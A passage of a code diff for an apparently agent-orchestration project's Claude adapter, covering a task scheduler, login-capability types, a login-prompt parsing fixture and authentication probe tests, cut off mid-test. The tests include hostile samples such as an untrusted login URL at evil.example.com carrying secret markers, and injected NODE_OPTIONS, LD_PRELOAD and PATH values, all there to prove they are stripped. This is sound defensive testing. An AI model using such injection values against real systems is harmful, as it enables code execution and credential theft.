+ * @param tasks Ordered task list. The scheduler calls each thunk to start it.
+ * @param concurrent Turn concurrency on or off.
+ * @param bound Maximum active tasks when `concurrent` is true.
+ * @returns Settled results in input order, one per task.
+ */
+export async function scheduleSyncOperations<T>(
+  tasks: ReadonlyArray<SyncOperationTask<T>>,
+  concurrent: boolean,
+  bound: number = SYNC_OPERATION_CONCURRENCY_LIMIT,
+): Promise<Array<PromiseSettledResult<T>>> {
+  const results = new Array<PromiseSettledResult<T>>(tasks.length);
+  const activeLimit = resolveActiveLimit(concurrent, bound);
+
+  // A shared cursor over the input list. Each worker takes the next task in
+  // input order. The cursor keeps serial order and holds the active bound.
+  let nextIndex = 0;
+
+  // One worker settles tasks until the list is empty. A worker catches its own
+  // task rejection, so a rejection never stops the other workers and never
+  // rejects the scheduler. This guarantees settle-all.
+  async function runWorker(): Promise<void> {
+    while (nextIndex < tasks.length) {
+      const currentIndex = nextIndex;
+      nextIndex += 1;
+      try {
+        const value = await tasks[currentIndex]();
+        results[currentIndex] = { status: "fulfilled", value };
+      } catch (reason) {
+        results[currentIndex] = { status: "rejected", reason };
+      }
+    }
+  }
+
+  // Start at most `activeLimit` workers, and never more than the task count.
+  const workerCount = Math.min(activeLimit, tasks.length);
+  const workers: Array<Promise<void>> = [];
+  for (let worker = 0; worker < workerCount; worker += 1) {
+    workers.push(runWorker());
+  }
+
+  await Promise.all(workers);
+  return results;
+}
diff --git a/packages/adapter-utils/src/types.ts b/packages/adapter-utils/src/types.ts
index b6d7439a5df..38a25c59cc5 100644
--- a/packages/adapter-utils/src/types.ts
+++ b/packages/adapter-utils/src/types.ts
@@ -113,10 +113,11 @@ export interface AdapterExecutionResult {
    * Each referenced (mentioned) project that failed to stage into the remote sandbox for this run,
    * by `projectId`. The run continues without a failed project (per-project failure isolation); this
    * field carries the failure back so the server counts it in the requested-vs-synced observability
-   * instead of losing it to a warning line. Absent or empty on a local target, or when every staged
-   * referenced project succeeded.
+   * instead of losing it to a warning line. Each entry pairs the `projectId` with the failure
+   * `error`, so a reader of the run learns why the project dropped. Absent or empty on a local
+   * target, or when every staged referenced project succeeded.
    */
-  referencedProjectStagingFailures?: Array<{ projectId: string }>;
+  referencedProjectStagingFailures?: Array<{ projectId: string; error: string }>;
   summary?: string | null;
   clearSession?: boolean;
   question?: {
@@ -500,6 +501,14 @@ export interface ServerAdapterModule {
    * and provisioned in fresh remote environments such as sandboxes.
    */
   getRuntimeCommandSpec?: (config: Record<string, unknown>) => AdapterRuntimeCommandSpec | null;
+
+  /**
+   * Optional: declare the interactive sandbox login capability. The server uses
+   * it to drive the login flow and to project the safe panel fields to the user
+   * interface. An adapter with no interactive login (for example an
+   * API-key-only vendor) omits it. The capability data holds no secret.
+   */
+  loginCapability?: import("./login-capability.js").AdapterLoginCapability;
 }
 
 // ---------------------------------------------------------------------------
@@ -579,6 +588,21 @@ export interface CreateConfigValues {
   envBindings: Record<string, unknown>;
   url: string;
   bootstrapPrompt: string;
+  /**
+   * The non-secret stored-session claim from a completed Claude subscription
+   * login. The create form holds it after the login reaches the server `stored`
+   * state and sends it in the agent create request. The server consumes the
+   * claim to bind the fixed `CLAUDE_CODE_OAUTH_TOKEN`. It never carries a token.
+   */
+  claudeStoredSessionId?: string | null;
+  /**
+   * True when the create form binds the fixed `CLAUDE_CODE_OAUTH_TOKEN`
+   * reference to an existing stored owner login with no new login round trip.
+   * The form sets it after the owner clicks apply-existing. The server binds the
+   * fixed reference only for a user actor and only when a stored value exists. It
+   * never carries a token.
+   */
+  claudeApplyStoredLogin?: boolean;
   payloadTemplateJson?: string;
   workspaceStrategyType?: string;
   workspaceBaseRef?: string;
diff --git a/packages/adapters/claude-local/package.json b/packages/adapters/claude-local/package.json
index 8c83a2f4a29..e03130bc2e5 100644
--- a/packages/adapters/claude-local/package.json
+++ b/packages/adapters/claude-local/package.json
@@ -53,12 +53,16 @@
     "probe:quota:raw": "pnpm exec tsx src/cli/quota-probe.ts --json --raw-cli"
   },
   "dependencies": {
-    "@agentclientprotocol/claude-agent-acp": "^0.66.0",
+    "@agentclientprotocol/claude-agent-acp": "^0.69.0",
     "@paperclipai/adapter-utils": "workspace:*",
+    "@paperclipai/shared": "workspace:*",
     "picocolors": "^1.1.1"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/adapters/claude-local/src/index.ts b/packages/adapters/claude-local/src/index.ts
index 88fb6626124..4d54d86ff4f 100644
--- a/packages/adapters/claude-local/src/index.ts
+++ b/packages/adapters/claude-local/src/index.ts
@@ -69,7 +69,7 @@ Operational fields:
 
 Notes:
 - filesystemScope and networkScope are spawn-level confinement and are orthogonal to Claude permission flags. Both require Bubblewrap on the host and select the CLI engine in auto mode; engine="acp" is rejected because ACP confinement is not yet supported. networkScope="allowlist" injects HTTP_PROXY/HTTPS_PROXY for the CLI while its private network namespace blocks direct sockets, so every required provider/API hostname must be listed explicitly.
-- The Claude ACP lane requires Node >=22.12.0 and @agentclientprotocol/claude-agent-acp to be installed with this adapter package. Auto engine selection falls back to CLI when those prerequisites are unavailable; explicit engine="acp" fails loudly.
+- The Claude ACP lane requires Node >=24.11.0 and @agentclientprotocol/claude-agent-acp to be installed with this adapter package. Auto engine selection falls back to CLI when those prerequisites are unavailable; explicit engine="acp" fails loudly.
 - For ACP runs, model selection is passed through ANTHROPIC_MODEL at ACP server startup; Paperclip-managed Claude permissions and ephemeral skill materialization are handled by the shared ACP engine.
 - When Paperclip realizes a workspace/runtime for a run, it injects PAPERCLIP_WORKSPACE_* and PAPERCLIP_RUNTIME_* env vars for agent-side tooling.
 `;
diff --git a/packages/adapters/claude-local/src/server/__fixtures__/setup-token.md b/packages/adapters/claude-local/src/server/__fixtures__/setup-token.md
index 88d2f0020b0..5fe80619e40 100644
--- a/packages/adapters/claude-local/src/server/__fixtures__/setup-token.md
+++ b/packages/adapters/claude-local/src/server/__fixtures__/setup-token.md
@@ -61,4 +61,95 @@ No real login or token was captured in this phase. Implementation should provisi
 
 ## Smallest proof
 
-`claude --version`; one pipe harness with a synthetic invalid code; and one PTY harness with bracketed-paste input showed the stream split, redacted URL structure, masked echo, HTTP 400 retry behavior, and controlled terminal exits. A literal scan of this document confirms it contains no authorization query values, browser code, or live token.
\ No newline at end of file
+`claude --version`; one pipe harness with a synthetic invalid code; and one PTY harness with bracketed-paste input showed the stream split, redacted URL structure, masked echo, HTTP 400 retry behavior, and controlled terminal exits. A literal scan of this document confirms it contains no authorization query values, browser code, or live token.
+## Re-characterization on Claude Code 2.1.226 (2026-08-13)
+
+- Re-characterized: 2026-08-13
+- Claude Code: `2.1.226`
+- Environment: real pseudo-terminal, headless, no browser. Prompt phase only; no
+  login was completed and no token was minted.
+- Safety: no real authorization URL, browser code, or token is recorded here.
+
+A live run of `claude setup-token` on a real pseudo-terminal confirmed the prompt
+contract is unchanged in substance from `2.1.205`:
+
+- URL preamble line: `Browser didn't open? Use the url below to sign in (c to copy)`.
+- Authorization URL origin `https://claude.com`, path `/cai/oauth/authorize`, the
+  same eight query keys (`client_id`, `code`, `code_challenge`,
+  `code_challenge_method`, `redirect_uri`, `response_type`, `scope`, `state`), no
+  fragment. The `redirect_uri` value host is `https://platform.claude.com`.
+- Browser-code prompt line: `Paste code here if prompted >`.
+
+The live run recorded two terminal-rendering behaviors that the earlier
+normalized capture hid. The parser now handles both:
+
+1. Word spacing. The login UI lays out each word at an absolute column with a
+   Cursor Horizontal Absolute (`ESC[<n>G`) sequence, so it emits no literal space
+   between two words. A parser that removes the control sequence glues the words
+   together. The parser now renders each horizontal-move sequence as one space.
+2. Repeated URL. The UI emits one OSC 8 hyperlink per wrapped display row, so it
+   repeats the full authorization URL on a few consecutive lines before the
+   prompt. The parser now skips a repeated URL line and binds the prompt on the
+   first non-blank line after the URL block; any other unrelated line still fails
+   the bind.
+
+The success anchors and the token shape were not re-run live, because a real
+login needs a subscription and an out-of-band browser. They stay as recorded in
+[`setup-token-success.md`](./setup-token-success.md): the before-anchor line
+`Your OAuth token (valid for 1 year):`, the after-anchor line `Store this token
+securely. You won't be able to see it again.`, and the token prefix
+`sk-ant-oat01-`. The success screen renders its anchor words with the same
+Cursor Horizontal Absolute spacing, so the same rendering fix applies to the
+token parser.
+
+An executable characterization test drives this live run. See
+[`../setup-token-characterization.test.ts`](../setup-token-characterization.test.ts);
+it is opt-in through `RUN_CLAUDE_SETUP_TOKEN_CHARACTERIZATION=1`.
+
+## Re-characterization on Claude Code 2.1.19 (2026-08-15)
+
+- Re-characterized: 2026-08-15
+- Claude Code: `2.1.19`
+- Environment: real Daytona sandbox, image `daytonaio/sandbox:0.8.0`, headless, no
+  browser. Prompt phase only; no login was completed and no token was minted.
+- Safety: no real authorization URL, browser code, or token is recorded here.
+  Every query value below is a same-shape synthetic placeholder that passes the
+  parser value validators.
+
+The production sandbox image ships `claude` 2.1.19. A real Daytona smoke found
+that this version emits a different login contract than `2.1.205` and `2.1.226`.
+The parser now accepts both contracts:
+
+- Authorization URL for 2.1.19: origin `https://claude.ai`, path
+  `/oauth/authorize`. The full pair is `https://claude.ai/oauth/authorize`.
+- Authorization URL for 2.1.205 and 2.1.226: origin `https://claude.com`, path
+  `/cai/oauth/authorize`. The full pair is `https://claude.com/cai/oauth/authorize`.
+- Both versions carry the same eight query keys: `client_id`, `code`,
+  `code_challenge`, `code_challenge_method`, `redirect_uri`, `response_type`,
+  `scope`, `state`. No fragment.
+- The `redirect_uri` value is the static callback
+  `https://platform.claude.com/oauth/code/callback`. A real 2.1.19 capture
+  confirmed this exact value, so the parser keeps the single pin.
+- The `code` value is a short opaque token. A real 2.1.19 capture measured a
+  four-character value, so the parser accepts a `code` value of one or more
+  characters.
+- Browser-code prompt line: `Paste code here if prompted >`.
+
+Two rendering differences from `2.1.226`:
+
+1. No OSC 8 hyperlink. `2.1.19` prints the URL as plain text, not as an OSC 8
+   hyperlink.
+2. Hard line wrap. `2.1.19` wraps the plain-text URL across several physical
+   lines at the terminal width, with no space at the wrap. The parser joins the
+   URL-character-only physical lines and validates only the final reassembled
+   string.
+
+Sanitized rendered form of the wrapped URL (placeholder values):
+
+```text
+Browser didn't open? Use the url below to sign in (c to copy)
+https://claude.ai/oauth/authorize?client_id=9d1c8f00-1a2b-3c4d-5e6f-708192a3b4c5&code=wZ9x&code_challenge=E9Melhoa2OwvFr
+EMTJguCHaoeK1t8URWbuGJSstw-cM&code_challenge_method=S256&redirect_uri=https%3A%2F%2Fplatform.claude.com%2Foauth%2Fcode%2
+Fcallback&response_type=code&scope=user%3Ainference&state=Xy7Kd2Pq9Rn4Vb8Lf1Mw6Zc3Hj0Tg5Us
+Paste code here if prompted >
+```
diff --git a/packages/adapters/claude-local/src/server/acp.auth.test.ts b/packages/adapters/claude-local/src/server/acp.auth.test.ts
new file mode 100644
index 00000000000..805ce4190f5
--- /dev/null
+++ b/packages/adapters/claude-local/src/server/acp.auth.test.ts
@@ -0,0 +1,645 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { chmod, mkdtemp, rm, writeFile } from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import type { AdapterExecutionResult } from "@paperclipai/adapter-utils";
+import type { AdapterExecutionTarget } from "@paperclipai/adapter-utils/execution-target";
+
+// A shared handle so each test can set the stub Claude hello-probe output the
+// sandbox runner returns.
+const { runAdapterExecutionTargetProcess, probeResult } = vi.hoisted(() => {
+  const probeResult: {
+    value: { exitCode: number; stdout: string; stderr: string; timedOut: boolean };
+    throwError: Error | null;
+  } = {
+    value: { exitCode: 1, stdout: "", stderr: "", timedOut: false },
+    throwError: null,
+  };
+  return {
+    probeResult,
+    runAdapterExecutionTargetProcess: vi.fn(async () => {
+      if (probeResult.throwError) throw probeResult.throwError;
+      return {
+        exitCode: probeResult.value.exitCode,
+        signal: null,
+        timedOut: probeResult.value.timedOut,
+        stdout: probeResult.value.stdout,
+        stderr: probeResult.value.stderr,
+        pid: 321,
+        startedAt: new Date().toISOString(),
+      };
+    }),
+  };
+});
+
+vi.mock("@paperclipai/adapter-utils/execution-target", async () => {
+  const actual = await vi.importActual<typeof import("@paperclipai/adapter-utils/execution-target")>(
+    "@paperclipai/adapter-utils/execution-target",
+  );
+  return {
+    ...actual,
+    runAdapterExecutionTargetProcess,
+  };
+});
+
+import {
+  mapClaudeAcpAuthErrorCode,
+  probeClaudeAcpSandboxLogin,
+  testClaudeAcpEnvironment,
+} from "./acp.js";
+import { ADAPTER_AUTH_MISSING_CHECK_CODE } from "./auth-check.js";
+
+const sandboxTarget: AdapterExecutionTarget = {
+  kind: "remote",
+  transport: "sandbox",
+  providerKey: "daytona",
+  remoteCwd: "/home/daytona/paperclip-workspace",
+  runner: {
+    execute: async () => ({
+      exitCode: 0,
+      signal: null,
+      timedOut: false,
+      stdout: "",
+      stderr: "",
+      pid: null,
+      startedAt: new Date().toISOString(),
+    }),
+  },
+};
+
+const initLine =
+  '{"type":"system","subtype":"init","cwd":"/home/daytona/paperclip-workspace","session_id":"abc","tools":["Bash","Read"]}';
+
+const loginRequiredStdout = [
+  initLine,
+  '{"type":"result","subtype":"error_during_execution","is_error":true,"result":"Please run `claude login` to authenticate.","session_id":"abc"}',
+].join("\n");
+
+const helloStdout = [
+  initLine,
+  '{"type":"result","subtype":"success","is_error":false,"result":"hello","session_id":"abc"}',
+].join("\n");
+
+// The real Claude CLI output for CLAUDE_CODE_OAUTH_TOKEN=invalid. The probe
+// exits non-zero and the result event reports a 401 authentication failure with
+// an "Invalid bearer token" message. A synthetic bearer marker rides along on a
+// retry line, so the test can prove the raw probe text never reaches a check.
+const invalidTokenMarker = "SUPERSECRETbearerMARKER";
+const invalidTokenStdout = [
+  initLine,
+  `{"type":"system","subtype":"api_retry","attempt":1,"error_status":401,"error":"authentication_failed: bearer ${invalidTokenMarker} is invalid","session_id":"abc"}`,
+  '{"type":"assistant","message":{"role":"assistant","content":[{"type":"text","text":"Failed to authenticate. API Error: 401 Invalid bearer token"}]},"session_id":"abc","error":"authentication_failed"}',
+  '{"type":"result","subtype":"success","is_error":true,"api_error_status":401,"error":"authentication_failed","result":"Failed to authenticate. API Error: 401 Invalid bearer token","session_id":"abc"}',
+].join("\n");
+
+afterEach(() => {
+  vi.clearAllMocks();
+  probeResult.value = { exitCode: 1, stdout: "", stderr: "", timedOut: false };
+  probeResult.throwError = null;
+});
+
+describe("mapClaudeAcpAuthErrorCode", () => {
+  it("translates the generic acpx_auth_required code into claude_auth_required", () => {
+    const engineResult: AdapterExecutionResult = {
+      exitCode: 1,
+      signal: null,
+      timedOut: false,
+      errorMessage: "Claude requires login.",
+      errorCode: "acpx_auth_required",
+      errorMeta: { category: "auth", errorName: "Error" },
+    };
+
+    const mapped = mapClaudeAcpAuthErrorCode(engineResult);
+
+    // The user interface run gate reads claude_auth_required to show the login
+    // affordance on the default ACP path.
+    expect(mapped.errorCode).toBe("claude_auth_required");
+    // The mapping keeps every other field so diagnostics stay intact.
+    expect(mapped.errorMessage).toBe("Claude requires login.");
+    expect(mapped.errorMeta).toEqual({ category: "auth", errorName: "Error" });
+  });
+
+  it("leaves a different error code unchanged", () => {
+    const engineResult: AdapterExecutionResult = {
+      exitCode: 1,
+      signal: null,
+      timedOut: false,
+      errorCode: "acpx_runtime_error",
+    };
+
+    expect(mapClaudeAcpAuthErrorCode(engineResult).errorCode).toBe("acpx_runtime_error");
+  });
+
+  it("leaves a null error code unchanged", () => {
+    const engineResult: AdapterExecutionResult = {
+      exitCode: 0,
+      signal: null,
+      timedOut: false,
+      errorCode: null,
+    };
+
+    expect(mapClaudeAcpAuthErrorCode(engineResult).errorCode).toBeNull();
+  });
+});
+
+describe("probeClaudeAcpSandboxLogin", () => {
+  it("emits the canonical adapter_auth_missing check when the sandbox probe reports missing auth", async () => {
+    probeResult.value = { exitCode: 1, stdout: loginRequiredStdout, stderr: "", timedOut: false };
+
+    const checks = await probeClaudeAcpSandboxLogin({
+      config: { engine: "acp" },
+      target: sandboxTarget,
+    });
+
+    expect(checks.some((check) => check.code === ADAPTER_AUTH_MISSING_CHECK_CODE)).toBe(true);
+    // The descriptive check stays for diagnostics.
+    expect(checks.some((check) => check.code === "claude_hello_probe_auth_required")).toBe(true);
+    // A missing-auth probe is a warning, not a failure, so the environment stays
+    // testable and the user interface can offer login.
+    expect(checks.every((check) => check.level === "warn")).toBe(true);
+  });
+
+  it("classifies an invalid or expired token as adapter_auth_missing without leaking the token", async () => {
+    probeResult.value = { exitCode: 1, stdout: invalidTokenStdout, stderr: "", timedOut: false };
+
+    const checks = await probeClaudeAcpSandboxLogin({
+      config: { engine: "acp" },
+      target: sandboxTarget,
+    });
+
+    // An auth failure returns the canonical login gate code, not the
+    // probe-could-not-run code.
+    expect(checks.some((check) => check.code === ADAPTER_AUTH_MISSING_CHECK_CODE)).toBe(true);
+    expect(checks.some((check) => check.code === "claude_hello_probe_auth_required")).toBe(true);
+    expect(checks.some((check) => check.code === "claude_acp_login_probe_unavailable")).toBe(false);
+    // The raw probe text, including the bearer marker, never reaches a check.
+    expect(JSON.stringify(checks)).not.toContain(invalidTokenMarker);
+  });
+
+  it("does not flag a healthy probe whose assistant text repeats a token phrase", async () => {
+    // A healthy run prints an auth phrase in its answer text. The parsed result
+    // is a success, so the probe stays healthy and offers no login gate.
+    probeResult.value = {
+      exitCode: 0,
+      stdout: [
+        initLine,
+        '{"type":"assistant","message":{"role":"assistant","content":[{"type":"text","text":"hello — note authentication_failed means an invalid bearer token"}]},"session_id":"abc"}',
+        '{"type":"result","subtype":"success","is_error":false,"result":"hello","session_id":"abc"}',
+      ].join("\n"),
+      stderr: "",
+      timedOut: false,
+    };
+
+    const checks = await probeClaudeAcpSandboxLogin({
+      config: { engine: "acp" },
+      target: sandboxTarget,
+    });
+
+    // The parsed result is a success, so no login gate and no probe-unavailable
+    // check appears.
+    expect(checks).toEqual([]);
+  });
+
+  it("keeps a non-auth failed probe with a token phrase on the probe-unavailable path", async () => {
+    // The probe fails on a transient upstream error and prints an auth phrase in
+    // its assistant text. The parsed result is not an auth failure, so the probe
+    // stays on the neutral probe-unavailable code, not the login gate.
+    probeResult.value = {
+      exitCode: 1,
+      stdout: [
+        initLine,
+        '{"type":"assistant","message":{"role":"assistant","content":[{"type":"text","text":"authentication_failed: the bearer token is invalid"}]},"session_id":"abc"}',
+        '{"type":"result","subtype":"error_during_execution","is_error":true,"result":"API Error: 503 service unavailable","session_id":"abc"}',
+      ].join("\n"),
+      stderr: "",
+      timedOut: false,
+    };
+
+    const checks = await probeClaudeAcpSandboxLogin({
+      config: { engine: "acp" },
+      target: sandboxTarget,
+    });
+
+    expect(checks.some((check) => check.code === ADAPTER_AUTH_MISSING_CHECK_CODE)).toBe(false);
+    expect(checks.some((check) => check.code === "claude_acp_login_probe_unavailable")).toBe(true);
+  });
+
+  it("never renders an untrusted login URL with sensitive query or fragment text", async () => {
+    // The sandbox prints a login-required line that carries a malicious URL. The
+    // URL has a non-allowlisted host, a query, and a fragment, each with a
+    // marker. The normalizer must reject the URL, so no marker reaches a check.
+    probeResult.value = {
+      exitCode: 1,
+      stdout: [
+        initLine,
+        '{"type":"result","subtype":"error_during_execution","is_error":true,"result":"Please run `claude login`. Visit https://evil.example.com/claude-login?leak=SECRETQUERYmarker#SECRETFRAGmarker","session_id":"abc"}',
+      ].join("\n"),
+      stderr: "",
+      timedOut: false,
+    };
+
+    const checks = await probeClaudeAcpSandboxLogin({
+      config: { engine: "acp" },
+      target: sandboxTarget,
+    });
+
+    // The login-required checks still appear.
+    expect(checks.some((check) => check.code === "claude_hello_probe_auth_required")).toBe(true);
+    expect(checks.some((check) => check.code === ADAPTER_AUTH_MISSING_CHECK_CODE)).toBe(true);
+    const checkText = JSON.stringify(checks);
+    // No marker and no untrusted host reaches any check.
+    expect(checkText).not.toContain("SECRETQUERYmarker");
+    expect(checkText).not.toContain("SECRETFRAGmarker");
+    expect(checkText).not.toContain("evil.example.com");
+    // The hint falls back to the fixed `claude login` text.
+    const authRequired = checks.find((check) => check.code === "claude_hello_probe_auth_required");
+    expect(authRequired?.hint).toBe("Run `claude login` in this environment, then retry the probe.");
+  });
+
+  it("emits no checks when the sandbox probe reports a healthy login", async () => {
+    probeResult.value = { exitCode: 0, stdout: helloStdout, stderr: "", timedOut: false };
+
+    const checks = await probeClaudeAcpSandboxLogin({
+      config: { engine: "acp" },
+      target: sandboxTarget,
+    });
+
+    expect(checks).toEqual([]);
+  });
+
+  it("emits a distinct warn check, not a silent pass, when the probe cannot run", async () => {
+    probeResult.throwError = new Error("claude command not found");
+
+    const checks = await probeClaudeAcpSandboxLogin({
+      config: { engine: "acp" },
+      target: sandboxTarget,
+    });
+
+    // A probe that cannot run must not report a success. It emits a distinct
+    // warn check that is NOT the login affordance code.
+    expect(checks).toHaveLength(1);
+    expect(checks[0]?.code).toBe("claude_acp_login_probe_unavailable");
+    expect(checks[0]?.level).toBe("warn");
+    expect(checks.some((check) => check.code === ADAPTER_AUTH_MISSING_CHECK_CODE)).toBe(false);
+  });
+
+  it("emits a distinct warn check when the probe times out", async () => {
+    probeResult.value = { exitCode: null as unknown as number, stdout: "", stderr: "", timedOut: true };
+
+    const checks = await probeClaudeAcpSandboxLogin({
+      config: { engine: "acp" },
+      target: sandboxTarget,
+    });
+
+    expect(checks).toHaveLength(1);
+    expect(checks[0]?.code).toBe("claude_acp_login_probe_unavailable");
+    expect(checks[0]?.level).toBe("warn");
+    expect(checks.some((check) => check.code === ADAPTER_AUTH_MISSING_CHECK_CODE)).toBe(false);
+  });
+
+  it("emits a distinct warn check when the probe runs but does not complete", async () => {
+    // The probe ran, login is not detected, and the exit code is non-zero. This
+    // is not a healthy login, so it must not be a silent pass.
+    probeResult.value = {
+      exitCode: 1,
+      stdout: initLine,
+      stderr: "unexpected sandbox error",
+      timedOut: false,
+    };
+
+    const checks = await probeClaudeAcpSandboxLogin({
+      config: { engine: "acp" },
+      target: sandboxTarget,
+    });
+
+    expect(checks).toHaveLength(1);
+    expect(checks[0]?.code).toBe("claude_acp_login_probe_unavailable");
+    expect(checks[0]?.level).toBe("warn");
+  });
+
+  it("never copies a thrown probe error into a Test-result check or the log", async () => {
+    // A sandbox transport failure can carry a credential. Inject an opaque
+    // credential marker and a proxy marker through the thrown error, then assert
+    // no check text and no log call repeats either one.
+    const opaqueCredMarker = "OPAQUECREDMARKERnoshape";
+    const proxyMarker = "http://user:pass@proxy.corp.internal:3128";
+    probeResult.throwError = new Error(
+      `transport failed with ${opaqueCredMarker} via ${proxyMarker}`,
+    );
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+
+    const checks = await probeClaudeAcpSandboxLogin({
+      config: { engine: "acp" },
+      target: sandboxTarget,
+    });
+
+    const checkText = JSON.stringify(checks);
+    expect(checkText).not.toContain(opaqueCredMarker);
+    expect(checkText).not.toContain("proxy.corp.internal");
+    expect(checks[0]?.code).toBe("claude_acp_login_probe_unavailable");
+    // The log carries only the fixed context, the allowlisted classification,
+    // and a safe error class name. It never repeats the raw error text.
+    expect(warnSpy).toHaveBeenCalledTimes(1);
+    const loggedText = JSON.stringify(warnSpy.mock.calls);
+    expect(loggedText).not.toContain(opaqueCredMarker);
+    expect(loggedText).not.toContain("proxy.corp.internal");
+    expect(warnSpy.mock.calls[0]?.[1]).toMatchObject({
+      classification: "spawn_error",
+      errorClass: "Error",
+    });
+    warnSpy.mockRestore();
+  });
+
+  it("never copies raw probe stderr or stdout into a Test-result check or the log", async () => {
+    // A non-zero probe can print an opaque credential to stdout and a proxy URL
+    // to stderr. Inject one marker in each stream and assert neither reaches a
+    // check or the log.
+    const opaqueCredMarker = "OPAQUECREDMARKERstream";
+    const proxyMarker = "http://user:pass@proxy.corp.internal:3128";
+    probeResult.value = {
+      exitCode: 2,
+      stdout: [initLine, `note: ${opaqueCredMarker}`].join("\n"),
+      stderr: `fatal: proxy connect failed ${proxyMarker}`,
+      timedOut: false,
+    };
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+
+    const checks = await probeClaudeAcpSandboxLogin({
+      config: { engine: "acp" },
+      target: sandboxTarget,
+    });
+
+    const checkText = JSON.stringify(checks);
+    expect(checkText).not.toContain(opaqueCredMarker);
+    expect(checkText).not.toContain("proxy.corp.internal");
+    expect(checks[0]?.code).toBe("claude_acp_login_probe_unavailable");
+    // The log carries only the fixed context, the allowlisted classification,
+    // and the safe exit code. It never repeats the raw stream text.
+    expect(warnSpy).toHaveBeenCalledTimes(1);
+    const loggedText = JSON.stringify(warnSpy.mock.calls);
+    expect(loggedText).not.toContain(opaqueCredMarker);
+    expect(loggedText).not.toContain("proxy.corp.internal");
+    expect(warnSpy.mock.calls[0]?.[1]).toMatchObject({
+      classification: "nonzero_exit",
+      exitCode: 2,
+    });
+    warnSpy.mockRestore();
+  });
+});
+
+describe("Claude ACP hello probe on local and SSH targets", () => {
+  const sshTarget: AdapterExecutionTarget = {
+    kind: "remote",
+    transport: "ssh",
+    remoteCwd: "/home/user/paperclip-workspace",
+    spec: { host: "example.com", port: 22, username: "user" },
+  } as unknown as AdapterExecutionTarget;
+
+  // Clear the host proxy and host auth variables so a local probe reads a
+  // deterministic env regardless of the machine that runs the suite.
+  const CLEARED_HOST_ENV_KEYS = [
+    "HTTP_PROXY",
+    "HTTPS_PROXY",
+    "NO_PROXY",
+    "http_proxy",
+    "https_proxy",
+    "no_proxy",
+    "ANTHROPIC_API_KEY",
+    "CLAUDE_CODE_OAUTH_TOKEN",
+    "ANTHROPIC_AUTH_TOKEN",
+    "CLAUDE_CONFIG_DIR",
+    "CLAUDE_CODE_USE_BEDROCK",
+    "ANTHROPIC_BEDROCK_BASE_URL",
+  ];
+  let tempDir: string | null = null;
+  let claudePath = "";
+  let savedPath: string | undefined;
+  let savedEnv: Record<string, string | undefined> = {};
+
+  beforeEach(async () => {
+    tempDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-acp-localprobe-"));
+    claudePath = path.join(tempDir, "claude");
+    await writeFile(claudePath, "#!/bin/sh\nexit 0\n");
+    await chmod(claudePath, 0o755);
+    savedPath = process.env.PATH;
+    process.env.PATH = tempDir;
+    savedEnv = {};
+    for (const key of CLEARED_HOST_ENV_KEYS) {
+      savedEnv[key] = process.env[key];
+      delete process.env[key];
+    }
+  });
+
+  afterEach(async () => {
+    process.env.PATH = savedPath;
+    for (const [key, value] of Object.entries(savedEnv)) {
+      if (value === undefined) delete process.env[key];
+      else process.env[key] = value;
+    }
+    if (tempDir) await rm(tempDir, { recursive: true, force: true }).catch(() => undefined);
+    tempDir = null;
+  });
+
+  it("emits an explicit OAuth-token check on the ACP lane when CLAUDE_CODE_OAUTH_TOKEN is set", async () => {
+    probeResult.value = { exitCode: 0, stdout: helloStdout, stderr: "", timedOut: false };
+    const result = await testClaudeAcpEnvironment({
+      companyId: "company-1",
+      adapterType: "claude_local",
+      config: { engine: "acp", env: { CLAUDE_CODE_OAUTH_TOKEN: "oauth-token-secret" } },
+      executionTarget: null,
+      environmentName: null,
+    });
+    expect(result.checks.some((check) => check.code === "claude_oauth_token_configured")).toBe(true);
+    // Every result names the target it probed, including the host case.
+    expect(result.checks.some((check) => check.code === "claude_environment_target")).toBe(true);
+    // The token value never enters a check.
+    expect(JSON.stringify(result.checks)).not.toContain("oauth-token-secret");
+  });
+
+  it("runs on a local target and reports auth-required without the sandbox-only adapter_auth_missing", async () => {
+    probeResult.value = { exitCode: 1, stdout: loginRequiredStdout, stderr: "", timedOut: false };
+    const checks = await probeClaudeAcpSandboxLogin({ config: { engine: "acp" }, target: null });
+    expect(checks.some((check) => check.code === "claude_hello_probe_auth_required")).toBe(true);
+    expect(checks.some((check) => check.code === ADAPTER_AUTH_MISSING_CHECK_CODE)).toBe(false);
+  });
+
+  it("runs on an SSH target and reports auth-required without adapter_auth_missing", async () => {
+    probeResult.value = { exitCode: 1, stdout: loginRequiredStdout, stderr: "", timedOut: false };
+    const checks = await probeClaudeAcpSandboxLogin({ config: { engine: "acp" }, target: sshTarget });
+    expect(checks.some((check) => check.code === "claude_hello_probe_auth_required")).toBe(true);
+    expect(checks.some((check) => check.code === ADAPTER_AUTH_MISSING_CHECK_CODE)).toBe(false);
+  });
+
+  it("spawns the trusted resolved claude and drops hostile caller env on a local probe", async () => {
+    probeResult.value = { exitCode: 0, stdout: helloStdout, stderr: "", timedOut: false };
+    process.env.HTTPS_PROXY = "http://trusted-proxy:8443";
+
+    await probeClaudeAcpSandboxLogin({
+      config: {
+        engine: "acp",
+        env: {
+          ANTHROPIC_API_KEY: "keep-this-key",
+          NODE_OPTIONS: "--require /hostile/evil.js",
+          PATH: "/hostile/bin",
+          LD_PRELOAD: "/hostile/evil.so",
+          HTTP_PROXY: "http://caller-proxy:8080",
+        },
+      },
+      target: null,
+    });
+
+    expect(runAdapterExecutionTargetProcess).toHaveBeenCalledTimes(1);
+    const call = runAdapterExecutionTargetProcess.mock.calls[0] as unknown as unknown[];
+    const spawnedCommand = call[2] as string;
+    const spawnedEnv = (call[4] as { env: Record<string, string> }).env;
+    // The trusted resolved claude executable, never the caller command path.
+    expect(spawnedCommand).toBe(claudePath);
+    // The approved key reaches the child; the hostile keys never do.
+    expect(spawnedEnv.ANTHROPIC_API_KEY).toBe("keep-this-key");
+    expect(spawnedEnv.NODE_OPTIONS).toBeUndefined();
+    expect(spawnedEnv.PATH).toBeUndefined();
+    expect(spawnedEnv.LD_PRELOAD).toBeUndefined();
+    expect(spawnedEnv.HTTP_PROXY).toBeUndefined();
+    // The trusted proxy reaches the child; the caller proxy never does.
